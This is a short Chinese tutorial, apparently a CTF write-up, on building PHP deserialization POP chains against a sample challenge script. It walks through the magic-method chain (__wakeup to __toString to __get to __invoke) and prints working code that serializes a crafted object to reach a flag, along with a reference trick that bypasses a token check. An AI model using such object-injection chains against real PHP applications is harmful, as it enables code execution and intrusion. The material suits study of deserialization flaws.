php反序列化pop链构造
pop链构造思路:
1.明确反序列化的目的,是要执行代码,还是得到某些特殊信息
2.执行反序列时最先调用的函数
3.我们要的东西在哪些地方被调用,该函数又在哪些地方被调用,以及与最先被调用的函数之间的联系
4.顺着关系链一条一条往上找,最后到达最先被调用的地方。
事例:
<?php class Read { public $var; public $token; public $token_flag; public function __construct() { $this->token_flag = $this->token = md5(rand(1,10000)); $this->token =&$this->token_flag; } public function __invoke(){ $this->token_flag = md5(rand(1,10000)); if($this->token === $this->token_flag) { echo "flag{**********}"; } } } class Show { public $source; public $str; public function __construct() { echo $this->source."<br>"; } public function __toString() { $this->str['str']->source; } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $params; public function __construct() { $this->params = array(); } public function __get($key) { $func = $this->params; return $func(); } } if(isset($_GET['chal'])) { $chal = unserialize($_GET['chal']); }
1.首先我们要的是flag,在__invoke()函数中,当一个对象被当成函数调用时自动执行该函数。
2.反序列化初始的地方是__wakeup()函数,里面有一个preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source),值得一说的是preg_match函数的第二个参数是字符串所以$this->source会被当做字符串处理
3.在Test的__get()函数中返回值是$func(),于是可以给$func赋值为Read的对象
4.__get()是当获得一个类的成员变量时调用,在结合__toString()中的$this->str['str']->source以及$this->source被当做字符串处理很快想到将$this->source赋值为本身,同时$this->str['str']赋值为Test的对象
于是构造出了如下pop链
$a = new Read(); $b = new Show(); $c = new Test(); $c->params = $a; $b->str['str'] = $c; $b->source = $b; $b->str['str'] = $c; echo serialize($b);
附:
在绕过$this->token === $this->token_flag判断是可以在构造函数中加上$this->token =&$this->token_flag;即可

浙公网安备 33010602011771号